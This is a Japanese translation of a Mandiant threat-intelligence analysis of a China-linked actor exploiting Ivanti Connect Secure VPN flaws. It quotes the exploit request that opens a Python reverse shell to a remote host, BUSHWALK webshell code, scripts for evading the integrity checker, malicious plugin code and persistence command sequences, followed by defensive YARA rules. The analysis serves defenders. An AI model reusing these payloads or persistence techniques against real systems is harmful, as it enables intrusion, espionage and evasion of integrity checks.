最先端の脅威 - Part 3: Ivanti Connect Secure VPN の悪用と永続性の調査
Mandiant
※この投稿は米国時間 2024 年 2 月 27 日に、Google Cloud blog に投稿されたものの抄訳です。
Mandiant と Ivanti 社は、Ivanti ゼロデイ脆弱性悪用に関する調査を、米国の防衛産業基盤セクターを含むさまざまな業界にわたって継続しています。 2024 年 1 月 10 日の最初の報告に続いて、Mandiantは、限られた中国関連の脅威アクターによるこれらの脆弱性を悪用する大規模な試みと、UNC5325 で使用される CVE-2024-21893を悪用する緩和策バイパスの開発を観察し、これを「Part 2」としてブログにて報告しました。
Mandiant は、UNC5325が検出をよりうまく回避するための Living-off-the-land (LotL) 技術の組み合わせを使用し、ファクトリーリセット、システム アップグレード、およびパッチ後の持続性保持を可能にするLITTLELAMBなどの新しいマルウェアを展開していることを確認しています。マルウェアのコードには暗号化キーの不一致を考慮するロジックがないため、持続性を維持するための限定的な試みは現在までに成功していませんが、UNC5325 が優先ターゲットへのアクセスを維持するためにどのような手段を講じるかを示すとともに、ネットワーク・アプライアンスに最新のアップデートとパッチを適用することの重要性を強調しています。
Ivanti のユーザーで、保護を確保するための措置をまだ講じていない場合は、直ちに措置を講じることが推奨されます。 このような永続化の試みを検出するのに役立つ外部整合性チェックツール(ICT)の新バージョンが利用可能になりました。また、Ivanti のセキュリティ勧告を参照し、最新の推奨事項を含む更新された強化ガイドを参照してください。
Ivanti ゼロデイの悪用は、数多くのアプライアンスに影響を及ぼしています。 アクティビティの多くは自動化されていますが、攻撃者の戦術、技術、および手順 (TTP) に関するさらなる洞察を提供する後続アクティビティの小規模なサブセットも存在します。 Mandiant は、さらに多くの攻撃者がこれらの脆弱性を利用して活動する可能性が高いと評価しています。
現在までに、Ivanti は、Ivanti Connect Secure およびその他の製品に影響を与える次の 5 つの脆弱性を公開しています。
表 1: 2024 年 1 月 10 日から 2024 年 2 月 8 日までの Ivanti 脆弱性の開示
前回のブログ投稿では、新たに特定された BUSHWALK WebShell をドロップするために使用される緩和策バイパスについて説明しました。 緩和策バイパスは現在、CVE-2024-21893として追跡されています。 これは、Ivanti Connect Secure (CS)、Policy Secure (PS)、および Zero Trust Access (NZTA) アプライアンスの Neurons の SAML コンポーネントに存在するサーバー側リクエスト フォージェリ (SSRF) の脆弱性であり、2024 年 1 月 31 日にリリースされたパッチと緩和策で対処されました。
その後、2024年2月8日には、Ivantiによって新たな脆弱性 CVE-2024-22024が報告されました。これは、 SAML コンポーネントの XML 外部エンティティ (XXE) の脆弱性に関連しており、パッチが適用されたアプライアンスにおいて認証されていない攻撃者が制限されたリソースにアクセスできるようになります。
アトリビューション
UNC5325
UNC5325 は、CVE-2024-21893 を悪用して Ivanti Connect Secure アプライアンスを侵害した中国のサイバー スパイ活動オペレーターの疑いがあります。 UNC5325 は、検出を回避して永続性を維持するために、オープンソース プロジェクトのコードを利用し、カスタム マルウェアをインストールし、アプライアンスの設定を変更しました。 UNC5325 は、PITSTOP、PITDOG、PITJET、および PITHOOK を展開していることが観察されています。 Mandiant は、PITHOOK 内のマルウェア ファミリ コードが UNC3886 によって利用されるマルウェアと重複していることを特定し、UNC5325 が UNC3886 であると中程度の確信度で疑っています。
UNC3886
UNC3886は、仮装技術に対する新しい技術を利用して、ターゲットのネットワーク デバイスに侵入した中国のスパイ活動の疑いのあるオペレーターです。 彼らは、オープンソース プロジェクトのコードを利用したり、ゼロデイ脆弱性を悪用したりすることで、標的とするテクノロジー向けに構築されたカスタム マルウェアをインストールしました。 私たちは引き続き証拠を収集し、UNC3886 と他の疑わしい中国スパイグループとの間の重複を特定し続けています。これには、標的設定や独特の戦術、技術、手順 (TTP) の使用も含まれます。
新しい TTP とマルウェア
前回のブログ投稿以来、Mandiant は CVE-2024-21893 (SSRF) を悪用して追加のマルウェアを展開し、侵害されたアプライアンスへの永続的なアクセスを維持する UNC5325 を特定しました。 さらに、ファクトリーリセット、システム アップグレード、パッチ適用後もカスタム バックドアの維持を可能にする新しい TTP が確認されています。しかし、持続性を維持するための試みは限られており、今のところ成功していません。
CVE-2024-21893 (SSRF) の悪用
Mandiant は、2024 年 1 月 19 日の時点で、限られた数の Ivanti Connect Secure アプライアンスを対象とした UNC5325 による CVE-2024-21893 の積極的な悪用を特定しました。
2024 年 1 月 31 日、Ivanti は、Ivanti Connect Secure、Ivanti Policy Secure、および Ivanti Neurons for ZTA の SAML コンポーネントにおけるサーバー側リクエスト フォージェリ (SSRF) の脆弱性である CVE-2024-21893 を公開しました。 現在までに、Ivanti Connect Secure アプライアンスに対する悪用の成功のみが確認されています。
同じ 2024 年 1 月 31 日の発表で、Ivanti は、開示時点で開示された 4 つすべての CVE の悪用を防止するための新しい XML 緩和策をリリースしました。 これには次のものが含まれます。
- CVE-2023-46805 (認証バイパス)
- CVE-2024-21887 (コマンド インジェクション)
- CVE-2024-21888 (権限昇格)
- CVE-2024-21893 (サーバー側のリクエストフォージェリ)
CVE-2024-21893 では、CVE-2024-21887 で説明されているように、以前に開示されたコマンド インジェクションの脆弱性を連鎖させることで、認証されていない攻撃者がアプライアンスを悪用することが可能になりました。 これには、2024 年 1 月 10 日にリリースされた XML 軽減策を適用したアプライアンスが含まれます。
CVE-2024-21893 (SSRF) と CVE-2024-21887 (コマンド インジェクション) の連鎖
CVE-2024-21893 の公開直後、Mandiant は、攻撃者が SSRF の脆弱性と CVE-2024-21887 で説明されているコマンド インジェクションの脆弱性を連鎖させ、脆弱なデバイスを悪用していることを観察しました。
場合によっては、 Interactshなどの公的に利用可能なサービスを使用して、ターゲットが CVE-2024-21893 に対して脆弱かどうかを検証しました。
GET /api/v1/license/keys-status/;python -c 'import
socket;socket.gethostbyname("<randomstring>.oast.live")'
図 1: CVE-2024-21893 脆弱性の検証
Shortly after a vulnerable target was identified, the threat actor executed follow-on commands to perform reconnaissance and, in some cases, establish a reverse shell.
GET /api/v1/license/keys-status/;python -c 'import
socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
;s.connect(("<remote_ip>",<port>));subprocess.call(["/bin/sh","-i"]
図 2: Python リバース TCP シェル
悪用の試みを特定する
SAML コンポーネントの SSRF 脆弱性が悪用されると、影響を受けるアプライアンス上に最大 2 つのログ イベントといくつかのホストベースのアーティファクトが生成されます。
Ivanti Connect Secure アプライアンスが未認証のリクエストをログに記録するように構成されている場合、認証されていない攻撃者が脆弱な SAML エンドポイント /dana-ws/saml.ws
をリクエストすると、イベント ID AUT31556
が生成されます。 イベントには、認証されていないリクエストの送信元 IP アドレスが含まれます。
AUT31556: Unauthenticated request url /dana-ws/saml.ws came from IP
<REDACTED>.
図 3: 脆弱な SAML エンドポイントへの未認証リクエストを示すイベント ログ エントリ
さらに、サーバーは、CVE-2024-21893 を悪用するために悪意を持って作成された SAML ペイロードを適切に処理できません。 saml-server
プロセスがクラッシュすると、アプライアンスはイベント ID ERR31903
のエラー イベント ログ エントリを生成します。これは悪用の試みを示す可能性があります。
ERR31093: Program saml-server recently failed.
図 4: プロセスクラッシュのイベントログエントリ
脅威アクターが関連するログ ファイルを削除していることが確認されているため、フォレンジック イメージ上の割り当てられたディスク領域と未割り当てのディスク領域の両方を分析してログ イベントの存在を確認することをお勧めします。
saml-server
プロセスがクラッシュすると、 /data/var/cores/
にコア ダンプが生成されます。 コア ダンプが利用可能な場合は、細工された SAML メッセージ、リクエストの HTTP ヘッダー、および送信元 IP アドレスを抽出できます。 攻撃者がcores
ディレクトリの内容を削除していることを確認しましたが、ファイル カービングを通じてコア ダンプの関連するフラグメントを復元することに成功しました。
BUSHWALK 亜種
Cutting Edge パート 2では、CVE-2024-21893 および CVE-2024-21887 の悪用に関連する BUSHWALK として追跡される新しい Web シェルを紹介しました。 このキャンペーンで観察された他の Web シェルと同様に、BUSHWALK は Perl で書かれており、正規の Ivanti Connect Secure コンポーネントであるquerymanifest.cgi
に埋め込まれています。
Mandiant は、インシデント対応活動を通じて、BUSHWALKの新しい亜種を特定しました。 BUSHWALKのこの新しい亜種は、2024 年 1 月 31 日に Ivanti が CVE-2024-21893 を公開してから 12 時間以内に、侵害されたアプライアンス上で特定されました。 この亜種は、以前のブログ投稿で説明した BUSHWALK サンプルに似ていますが、アプライアンスからの任意のファイルの読み取りを可能にするcheckVerison
という新しい関数が追加されています。 この関数は、復号化されたペイロードに文字列checkが含まれている場合に実行されます。 次の図は、関連するcheckVerison
関数を示しています。
sub checkVerison
{
my ($file, $key) = @_;
my $contents = "";
my $buffer;
my $bytesread = 0;
my $totalbytesread = 0;
local *FILE;
CORE::open(*FILE, $file);
while($bytesread = sysread(FILE, $buffer, 1024)) {
$contents .= $buffer;
$totalbytesread += $bytesread;
}
if ($totalbytesread == 0) {
print "Unable to read file with path: $file";
print CGI::header(-type=>"text/html", -status=> '404 Not Found');
exit;
}
print CGI::header();
$contents = RC4($key, $contents);
$contents = MIME::Base64::encode_base64($contents);
print $contents;
close *FILE;
}
図 5:ファイル読み取り用のBUSHWALK のcheckVerison関数
2 つの BUSHWALK 亜種と特定されたすべてのサンプルにわたって、発行されたコマンドを復号化するための同じ RC4 キーが観察されたことに注意してください。
さらに、このキャンペーンを通じて、攻撃者がアプライアンスに対する深い理解と検出を回避する能力についてを示していることを引き続き確認しました。 私たちは、Ivanti 製品に固有の組み込みシステム ユーティリティを使用して Perl モジュールと Living-off-the-land (LotL) 手法を創造的に変更することで、BUSHwalk が検出されない休止状態に留まることができる手法を特定しました。
これを達成するために、脅威アクターはまず、受信ユーザー エージェントを評価する Perl モジュールDSUserAgentCap.pm
を変更します。 この変更により、脅威アクターは、受信した HTTP リクエストのユーザー エージェントに応じて BUSHwalk をアクティブ化または非アクティブ化できるようになります。
図6は、DSUserAgentCap.pm
の変更の抜粋です。2つのユーザーエージェント文字列のApp1eWebKit
とAppIeWebKit
のスペルの違いに注意してください。
sub getUserAgentType {
my ($user_agent) = @_;
if ($user_agent eq "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
App1eWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"){
system("mount -o remount,rw /");
system("/home/bin/configdecrypt /data/runtime
/cockpit/diskAnalysis /data/runtime/cockpit/diskAnalysis.bak");
system("cp /home/webserver/htdocs/dana-na/jam/querymanifest.cgi
/home/webserver/htdocs/dana-na/jam/querymanifest.cgi.bak");
system("echo '/home/webserver/htdocs/dana-na/jam
/querymanifest.cgi' >> /home/etc/manifest/exclusion_list");
system("mv /data/runtime/cockpit/diskAnalysis.bak
/home/webserver/htdocs/dana-na/jam/querymanifest.cgi");
system("chmod 755 /home/webserver/htdocs/dana-na/jam
/querymanifest.cgi");
system("mkdir /debug");
system("/home/bin/restartServer.pl Restart");
exit(0);
}
elsif ($user_agent eq "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppIeWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36"){
system("mv /home/webserver/htdocs/dana-na/jam
/querymanifest.cgi.bak /home/webserver/htdocs/dana-na/jam/querymanifest.cgi");
system("touch -r /home/webserver/htdocs/dana-na/auth
/setcookie.cgi /home/webserver/htdocs/dana-na/jam/querymanifest.cgi");
system("/bin/sed -i '\$d' /home/etc/manifest/exclusion_list");
system("rm -rf /debug");
system("mount -o remount,ro /");
exit(0);
}
else{
my $type = DSClientTypes::getUserAgentType($user_agent);
return $type;
}
図 6: DSUserAgentCap.pm の抜粋
BUSHWALKの暗号化バージョンは、/data/runtime/cockpit/diskAnalysi
の整合性チェッカーツール(ICT)によって除外されたディレクトリに置かれます。
起動ルーチン(if
ブロック)は、システム構成の復号化に使用される/home/bin/configdecrypt
にあるアプライアンス上の組み込みユーティリティを使用します。このルーチンは、configdecrypt
ユーティリティを実行して、BUSHWALK Webシェルを含む diskAnalysis
を復号化します。その後、元のquerymanifest.cgi
ファイルのバックアップを作成し、exclusion_list
に追加し、BUSHWALKをWebサーバ・ディレクトリに移動し、WebシェルをロードするためにWebサーバを再起動します。
非活性化ルーチン(elseif
ブロック)は、元のquerymanifest.cgi
ファイルを復元し、その活動を隠すためにtouch
を使用してタイムストンプし、exclusion_list
からBUSHWALKのパスを削除し、Webサーバーを再起動します。しかし、BUSHWALKの暗号化されたバージョンは、動的なディレクトリで休止状態のままであるため、完全性チェックツールによってスキャンされません。BUSHWALKは/data/runtime/cockpit/diskAnalysis
に、脅威アクターが再起動するまで静かに存在し続けます。
内部ICTは、デフォルトで2時間間隔で実行されるように設定されており、継続的な監視に沿って実行されるようになっています。2時間のスキャン間隔の間に行われ、元に戻された悪意のあるファイルシステムの変更は、ICTによって検出されないままとなります。アクティブ化ルーチンと非アクティブ化ルーチンを巧妙に連続して実行されると、アクティブ化ルーチンをBUSHWALK Webシェルの意図された使用と正確に一致するようにタイミングを合わせることで、ICTの検出リスクを最小限に抑えることができます。
SparkGateway プラグインの不正使用
CVE-2024-21893 の悪用後の限られた数のインスタンスで、SparkGateway プラグインを使用して共有オブジェクトを永続的に挿入し、バックドアをデプロイすることが確認されました。 SparkGateway は、RDP や SSH などのブラウザ経由のリモート アクセス プロトコルを有効にする Ivanti Connect Secure アプライアンスの正規のコンポーネントです。 SparkGateway の機能はプラグインを通じて拡張できます。
PITFUEL Plugin
Mandiantは、System.load()
を呼び出してJava Native Interface(JNI)を介して共有オブジェクトibchilkat.so
(LITTLELAMB.WOOLTEA)をロードするplugin.jar
(PITFUEL)というSparkGatewayプラグインを特定しました。共有オブジェクトはバックドアを永続的に展開し、システムのアップグレードイベント、パッチ、ファクトリーのリセットにまたがって永続化する機能を含んでいます。
図7は、PITFUELのPluginManager
クラスの関連する抜粋を示しています。
public class PluginManager {
static {
try {
System.load("/home/runtime/SparkGateway/libchilkat.so");
} catch (Exception exception) {}
try {
Config config = Config.getInstance();
config.remove("plugin");
config.remove("pluginFile");
} catch (Exception exception) {}
try {
Logger logger = Logger.getLogger(Config.class.getName());
SparkGatewayFilter sparkGatewayFilter = new SparkGatewayFilter();
logger.setFilter(sparkGatewayFilter);
} catch (Exception exception) {}
}
static class SparkGatewayFilter implements Filter {
public boolean isLoggable(LogRecord param1LogRecord) {
return (param1LogRecord.getLevel().intValue() != Level.
SEVERE.intValue());
}
}
}
図 7: SparkGateway プラグイン (PITFUEL) のPluginManager
クラス
libchilkat.so
(LITTLELAMB.WOOLTEA)は、実行時にいくつかの初期化ルーチンを実行し、侵害されたシステム上でバックグラウンドで持続的に実行されるようにします。ここれは、自身をデーモン化し、 SIGPIPE
、 SIGKILL
、 および SIGTERM
シグナルのトラップを試み、システムがメモリ不足の場合でもプロセスを実行し続けるためにメモリ不足 (OOM) 調整値 ( oom_adj
)を-17
に調整することによって実現します。
システムのアップグレードとパッチ後の永続性
最初の実行時に、LITTLELAMB.WOOLTEA はfirst_run()
関数を実行します。 これは、悪意のあるコンポーネントをアーカイブ/data/pkg/data-backup.tgz
に追加するedit_current_data_backup()
関数を呼び出します。 以下の図は、同等のコマンド シーケンスを示しています。
gzip -d /data/pkg/data-backup.tgz > /dev/null 2>&1
tar -rf /data/pkg/data-backup.tar /data/runtime/SparkGateway/plugin.jar
/data/runtime/SparkGateway/libchilkat.so
/data/runtime/SparkGateway/gateway.conf > /dev/null 2>&1
gzip /data/pkg/data-backup.tar > /dev/null 2>&1
mv /data/pkg/data-backup.tar.gz /data/pkg/data-backup.tgz > /dev/null 2>&1
図 8: edit_current_data_backup()
によって実行されるコマンド シーケンス
システムのアップグレード時またはパッチの適用時、 data-backup.tgz
には、アップグレード イベント後に復元されるdata
ディレクトリのバックアップが含まれています。 さらに、関数はutimensatを呼び出してdata-backup.tgz
をタイムストンプします。 この変更により、悪意のあるコンポーネント ( plugin.jar
、 libchilkat.so
、およびgateway.conf
) がシステムのアップグレードやパッチ後も存続することが保証されます。
(cd / ; tar -zxBf /data/pkg/data-backup.tgz >/dev/null 2>&1)
図 9:システム アップグレード イベント中のdata-backup.tgz
の解凍
さらに、このマルウェアには、システム アップグレードおよびパッチ イベント間の永続性をサポートするupgrade_monitor()
という名前の関数が含まれています。 これは、システム アップグレードまたはパッチ イベントのまさに瞬間に変更を加えることで、二次的な永続化方法として機能すると評価しています。
また、ファイルシステムに/tmp/data/root/dev
が存在するかどうかを継続的にチェックすることで、システム アップグレード イベントを監視します。このパスは、システム アップグレード プロセスをサポートするために使用されます。 言い換えれば、パスの存在はマルウェアに対してシステム アップグレード イベントの存在を示します。
パスが存在する場合、それ自体とその構成コンポーネントをアーカイブ/tmp/data/root/samba_upgrade.tar
.に追加することにより、システムのアップグレード プロセスに介入します。 システム アップグレード プロセス中に、アプライアンスはデータ移行の目的でsamba_upgrade.tar
を解凍します。 以下の図は、 /tmp/data/root/dev
の存在を検出したときにupgrade_monitor()
によって実行されるコマンドを示しています。
tar -rf /tmp/data/root/samba_upgrade.tar
/home/runtime/SparkGateway/plugin.jar
/home/runtime/SparkGateway/libchilkat.so
/home/runtime/SparkGateway/gateway.conf > /dev/null 2>&1
図10: upgrade_monitor()
によって実行されるシェルコマンド
システムのアップグレードまたはパッチのプロセス中、post-install
bash スクリプトは次のコマンドを実行してsamba_upgrade.tar
を解凍し、悪意のあるコンポーネント ( libchilkat.so
、 plugin.jar
、およびgateway.conf
) を新しいアクティブ パーティションにコピーします。 以下の図は、post-install
関連コマンド シーケンスを示しています。
tar -tf $upgrade_partition samba_upgrade.tar > /dev/null 2>&1
if [ $? -eq 0 ]; then
(cd /; tar -xf $upgrade_partition samba_upgrade.tar >/dev/null)
fi
図 11:post-install
スクリプトによるsamba_upgrade.tar
の解凍
ファクトリーリセット後の永続性
次に、LITTLELAMB.WOOLTEA はfirst_run()
を実行します。これは、/proc/ive/mbserialnumber
にあるマザーボードのシリアル番号の最初の 4 バイトを読み取ることでアプライアンスのハードウェアを読み取り、チェックし、その動作を調整して、さらに変更するためにファクトリーリセットしたイメージを使用します。
4 バイトが文字列 0331
、 0332
、0340
、0481
、 または 0482
と一致する場合、マルウェアは次のコマンドを実行して/dev/md5
(ファクトリーリセットされたルート パーティション) を/dev/loop5
にマウントします。
/bin/losetup /dev/loop5 /dev/md5 > /dev/null 2>&1
図12: /dev/md5
のループ デバイスを設定するコマンド
4 バイトの文字列はそれぞれ、物理的な Pulse Secure Appliance (PSA) または Ivanti Secure Appliance (ISA) 製品に対応します。.
表 2: マシン ID と物理アプライアンスのモデル番号
そうでない場合、4バイトがどのマシンID文字列とも一致しないか、/proc/ive/mbserialnumber
の読み込みに失敗すると、マルウェアは/dev/xda5
(ファクトリーリセットのルートパーティション)を/dev/loop5
にマウントする以下のコマンドを実行します。
/bin/losetup /dev/loop5 /dev/xda5 > /dev/null 2>&1
表13: /dev/xda5
のループ デバイスを設定するコマンド
次に、LITTLELAMB.WOOLTEA は、新しく作成されたループ デバイス ( /dev/loop5
) を/tmp/tmpmnt
にマウントし、ファクトリーリセットされたルート パーティションを変更します。 以下の図は、同等のコマンド シーケンスを示しています。
mkdir -m 777 /tmp/tmpmnt
mount /dev/loop5 /tmp/tmpmnt -t ext2
表14: /dev/loop5
をマウントするコマンド
注意すべき点は、/bin/losetup
は、実行中のバージョンのパーティションを復号化するために、実行中のバージョンのカーネル内に埋め込まれた暗号化キーを使用することです。この暗号化キーは、ビルドのコンパイル時にハードコードされ、アプライアンスのバージョンごとに一意です。
ただし、ファクトリーリセットパーティションは、ファクトリーカーネルに埋め込まれた独自の独立した暗号化キーを維持します。現在の実行バージョンとファクトリーリセットの展開バージョンが異なる場合(つまり、アプライアンスまたはVMが少なくとも1回は更新されている場合)、bin/losetup
は暗号化キーの不一致のためにファクトリーリセットパーティションの復号化に失敗し、ファクトリーリセット後にマルウェアは持続しません。
なお、Mandiant 社と Ivanti 社は、ファクトリーリセットの後に影響を受けたアプライアンスに対してフォレンジック分析を実施し、マルウェアの存続を示す証拠がないことを確認しました。このアプライアンスは、最初に導入されてから少なくとも1回のアップデートが行われていたため、ファクトリーリセット後のカーネルと実行中のバージョンのカーネルの暗号化キーが異なり、マルウェアはファクトリーリセット後に持続しませんでした。
losetup
がファクトリーリセットイメージの復号化に成功した場合、マルウェアは持続ワークフローを継続します。ファクトリーリセットプロセスを変更するために、マウントされたファクトリーリセットパーティション内のtar
バイナリを tra
に変更するedit_factory_reset()
関数を呼び出します。
mv /tmp/tmpmnt/bin/tar /tmp/tmpmnt/bin/tra
図 15: tarバイナリの名前を変更するコマンド
次に、マルウェアは、tar
バイナリのトロイの木馬化されたバージョンを/tmp/tmpmnt/bin/tar
に書き込み、 tar
バイナリを実行可能にし、悪意のあるコンポーネントを (正規のtar
ユーティリティを使用して) ファクトリーリセットされたパーティション内にあるアーカイブ/tmp/tmpmnt/bin/samba_upgrade.tar
に先制的に追加します。
tar -rf /tmp/tmpmnt/bin/samba_upgrade.tar
/home/runtime/SparkGateway/plugin.jar
/home/runtime/SparkGateway/libchilkat.so
/home/runtime/SparkGateway/gateway.conf > /dev/null 2>&1
表16: samba_upgrade.tar
にアーカイブするコマンド
トロイの木馬化されたtar
バイナリは、出荷時設定へのリセット プロセス中に、悪意のある/bin/samba_upgrade.tar
を/tmp/samba_upgrade.tar
にコピーするための一連の特定の条件をチェックします。
- 4 つの引数が提供される (
argc
が 4 に等しい) - 2 番目の引数
argv[1]
が-cf
- 4 番目の引数
argv[3]
がno-data
上記の条件のいずれかが満たされない場合、トロイの木馬化されたtar
バイナリは、図 15 でバックアップされた正規のtar
(/bin/tra
) ユーティリティを実行します。
この条件は、構成のリセットを担当する出荷時設定へのリセット手順のコンポーネント ( dsconfigreset
) によって満たされます。 このユーティリティは、 /tmp/no-data
に空のファイルを作成し、 /bin/tar -cf
を使用してアーカイブします。以下の図は、関連するコマンド シーケンスを示しています。
echo "" > /tmp/no-data
(cd /tmp; /bin/tar -cf $tmp_part no-data)
図 17: dsconfigreset
によるファクトリーリセット中に実行されるコマンド
dsconfigreset
が/bin/tar -cf $tmp_part no-data
を実行すると、トロイの木馬化されたtar
は、悪意のあるコンポーネントを含む/bin/samba_upgrade.tar
の内容を、ファクトリーリセットされたルート パーティション (/tmp/tmpmnt
にマウントされている)の/tmp/samba_upgrade.tar
にコピーします。
次に、前述のシステム アップグレードの永続性フローと同様に、アプライアンスは新しいシステムのインストール プロセス中にpost-install
bash スクリプトを実行します。 このスクリプトは、ファクトリーリセットされたパーティション内のsamba_upgrade.tar
アーカイブを解凍し、悪意のあるコンポーネント ( libchilkat.so
、plugin.jar
、および gateway.conf
) をファクトリーリセットした後に作成された新しいアクティブ パーティションにコピーします。
Webサーバープロセスのフック
httpd_monitor()
関数は、 inject_loop()
という名前の組み込み注入関数を使用して、別の共有オブジェクトlibaprhelper.so
(PITSOCK)をWebプロセスに永続的に注入します。
PITSOCKは、プロシージャリンクテーブル(PLT)を変更することで、web
プロセスの関数accept
とsetsockopt
をフックします。これにより、受信バッファで特定の48バイトのマジックバイト列を受信すると、Unixソケット/tmp/clientsDownload.sock
を介したバックドア通信が可能になります。
悪意のある SparkGateway プラグインの作成
最後に、 libchilkat.so
はpersist()
を呼び出し、SparkGateway 構成ファイルを変更します。 以下は、プラグインをサポートおよびロードするために変更された SparkGateway 構成ファイルからの抜粋を示しています。
plugin = com.toremote.gateway.plugin.PluginManager
pluginFile = /home/runtime/SparkGateway/plugin.jar
図 18: SparkGateway 構成ファイルの抜粋
バックドア機能
libchilkat.so
は、コマンド実行、ファイル管理、シェル作成、SOCKS プロキシ、ネットワーク トラフィック トンネリングなどの期待される機能をサポートするスタンドアロン バックドアとしても機能します。 Ivanti Connect Secure Web サーバー ( /home/webserver/conf/ssl.key/secure.key
)にある秘密キーを使用して SSL 経由で通信し、ソケット/tmp/clientsDownload.sock
を使用して通信します。
PITDOG プラグイン
Mandiant は、 Kubo Injector ( memorysCounter
)を使用して共有オブジェクトmem.rd
(PITHOOK) をweb
プロセス メモリに挿入し、バックドアdsAgent
(PITSTOP)を永続的に実行するsecurity.jar
(PITDOG) という名前の 2 番目の悪意のある SparkGateway プラグインを特定しました。 以下に、 security.jar
からの関連する抜粋を示します。
public class SparkPlugin implements ManagerInterface {
public static void watchdog() {
try {
Thread.sleep(300000L);
ProcessBuilder processBuilder = new ProcessBuilder(new String[0]);
Process process = Runtime.getRuntime().exec(new String[] { "/bin/sh",
"-c", "ps aux|grep '/home/bin/web'|grep -v grep |
awk '{if (NR!=1) {print $2}}'" });
BufferedReader reader = new BufferedReader(new InputStreamReader
(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
int procnum = Integer.parseInt(line);
String catprocstr = String.format("cat /proc/%d/maps | grep mem.rd",
new Object[] { Integer.valueOf(procnum) });
Process processinjectres = Runtime.getRuntime().exec(new String[]
{ "/bin/sh", "-c", catprocstr });
BufferedReader processinjectreader = new BufferedReader(new
InputStreamReader(processinjectres.getInputStream()));
if ((line = processinjectreader.readLine()) == null) {
String processinjectstr = String.format("/data/runtime/cockpit
/memorysCounter -p %d /data/runtime/cockpit/mem.rd", new Object[]
{ Integer.valueOf(procnum) });
Process process1 = Runtime.getRuntime().exec(new String[]
{ "/bin/sh", "-c", processinjectstr });
}
}
Process processps = Runtime.getRuntime().exec(new String[]
{ "/bin/sh", "-c", "ps aux|grep '/data/runtime/cockpit/dsAgent'|grep
-v grep | awk '{print $2}'" });
BufferedReader readerps = new BufferedReader(new
InputStreamReader(processps.getInputStream()));
if ((line = readerps.readLine()) == null) {
Process processinjectres = Runtime.getRuntime().exec("rm
-f /data/runtime/cockpit/wd.lock");
ProcessBuilder processBuilder1 = (new ProcessBuilder(new
String[] { "/data/runtime/cockpit/dsAgent" })).redirectErrorStream(true);
Process process1 = processBuilder1.start();
}
} catch (Exception exception) {}
}
public HandshakeInterface getHandshakePlugin() {
long timeInterval = 10000L;
Runnable runnable = new Runnable() {
public void run() {
while (true) {
SparkPlugin.watchdog();
try {
Thread.sleep(10000L);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
};
Thread thread = new Thread(runnable);
thread.start();
return null;
}
図 19: security.jar プラグインの抜粋
SparkGateway 構成は、プラグインをロードするように変更されます。 次の図は、 gateway.conf
からの関連する抜粋を示しています。
plugin = SparkPlugin
pluginFile = /data/runtime/cockpit/security.jar
図 20: SparkGateway 構成ファイルの抜粋
security.jar
プラグインは、システムがハンドシェイク プラグインを呼び出すときの RDP 接続のネゴシエーション中に実行されます。 getHandshakePlugin()
メソッドは、Runnable インターフェイスから新しいスレッドを作成し、 10 秒ごとにSparkPlugin.watchdog()
を繰り返し呼び出します。 これは、SparkGateway アプリケーションの主な操作を妨げることなく、悪意のあるwatchdog
メソッドの継続的な実行を保証する永続化メソッドとして機能します。
watchdog
メソッドは、まず共有オブジェクトmem.rd
(PITHOOK) がweb
プロセス メモリ内にマップされているかどうかを確認します。 そうでない場合は、 mem.rd
をweb
プロセスに挿入します。 PITHOOK は、 PLT を変更することで、 Webプロセス内のaccept
関数とaccept4
関数をフックします。 PITHOOK が事前定義されたマジック バイト シーケンスに一致するバッファを受信すると、ソケットを複製し、Unix ドメイン ソケット/data/runtime/cockpit/wd.fd
との通信を開始します。
mem.rd )をWebプロセスに挿入するために実行されるコマンドを示しています。ここで、 %dはWebプロセスのプロセス ID (PID) を表します。
Figure 21 shows the command executed to inject PITHOOK (mem.rd
) into the web process, where %d
represents the process ID (PID) of the web
process.
/data/runtime/cockpit/memorysCounter -p %d /data/runtime/cockpit/mem.rd
図 21: PITHOOK を挿入するコマンド
私たちは、/data/runtime/cockpit/memorysCounter
は、追加の修正や変更を行わない Kubo Injectorの直接インスタンスであると判断しました。 Kubo Injector は、プロセス名またはプロセス ID を指定して共有オブジェクトを任意のプロセスに注入できるユーティリティである、一般的なlinux-injectプロジェクトに基づいています。
最後に、watchdog
メソッドは PITSTOP バックドア ( /data/runtime/cockpit/dsAgent
) がまだ実行されていない場合はそれを実行します。
PITSTOPは、事前定義されたマジック バイト シーケンスを受信すると、PITHOOK によって作成された/data/runtime/cockpit/wd.fd
にある Unix ドメイン ソケットをリッスンします。 次に、TLS 経由でさらに通信するためにソケットを複製します。 ソケットが確立されると、PITSTOP は Base64 とハードコーディングされた AES キーを使用して受信コマンドを評価します。 これは、侵害されたアプライアンスでのシェル コマンドの実行、ファイルの書き込み、およびファイルの読み取りをサポートします。
見通しと影響
UNC5325のTTPとマルウェアの展開は、中国とつながるスパイ活動の疑いのある攻撃者がゼロデイ脆弱性を悪用し、エッジ インフラストラクチャに対する攻撃を継続していることを示しています。 UNC4841が Barracuda ESG に精通しているのと同様に、UNC5325 は、使用したマルウェアとファクトリーリセット後も持続する機能の両方に見られるように、Ivanti Connect Secure アプライアンスに関する重要な知識を有していることを表しています。 Mandiantは、UNC5325 やその他の中国と連携したスパイ活動者が、引き続きゼロデイ脆弱性やアプライアンス固有のマルウェアを利用して、ターゲット環境へのアクセスを取得し、維持すると予想しています。
The material in this blog post is being shared as cyber threat indicators and defensive measures solely for cybersecurity purposes in accordance with the Cybersecurity Information Sharing Act of 2015 (“CISA/2015”). This information is subject to the provisions of CISA/2015, including 6 U.S. Code § 1504(d)(1).
Indicators of Compromise (IOCs)
Host-Based Indicators (HBIs)
Table 3: Host-based indicators
YARA Rules
rule M_Launcher_PITDOG_1 {
meta:
author = "Mandiant"
description = "This rule is designed to detect on events
related to PITDOG."
strings:
$str2 = "cat /proc/%d/maps | grep mem.rd"
$str3 = "/data/runtime/cockpit/memorysCounter
-p %d /data/runtime/cockpit/mem.rd"
$str4 = "rm -f /data/runtime/cockpit/wd.lock"
$str5 = "/data/runtime/cockpit/dsAgent"
$str6 = "watchdog"
$str7 = "ps aux|grep '/home/bin/web'|grep -v grep
| awk '{if (NR!=1) {print $2}}'"
condition:
uint32(0) == 0xBEBAFECA and all of them
}
rule M_Utility_PITHOOK_1 {
meta:
author = " Mandiant"
